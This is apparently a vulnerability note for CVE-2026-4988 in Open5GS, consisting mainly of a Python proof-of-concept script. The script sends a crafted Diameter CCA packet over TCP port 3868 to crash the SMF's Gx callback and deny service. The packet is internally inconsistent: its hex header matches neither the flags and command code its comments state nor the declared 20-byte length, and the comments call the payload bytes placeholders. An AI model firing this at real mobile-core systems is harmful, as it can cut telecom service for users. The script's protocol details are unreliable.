CVE-2026-4988 Open5GS远程拒绝服务漏洞

import socket # PoC for CVE-2026-4988 # This script sends a malformed Diameter CCA message to trigger the DoS condition in Open5GS. # Note: Adjust the target IP and Port according to your test environment. def send_malformed_cca(target_ip, target_port): # Diameter Header (Version: 1, Length: 20, Flags: 0x80, Command Code: 272, Application ID: 0) # This is a minimal crafted packet structure intended to hit the vulnerable callback. diameter_header = bytes.fromhex("010000140000001080000010") # Malformed AVP or payload to trigger the flaw in smf_gx_cca_cb # Specific payload bytes would be derived from the actual exploit analysis malformed_payload = bytes.fromhex("0000010C000000104D454D4F") try: print(f"[*] Sending malformed packet to {target_ip}:{target_port}") sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) sock.sendall(diameter_header + malformed_payload) print("[+] Packet sent successfully.") sock.close() except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Replace with actual target details TARGET_IP = "127.0.0.1" TARGET_PORT = 3868 send_malformed_cca(TARGET_IP, TARGET_PORT)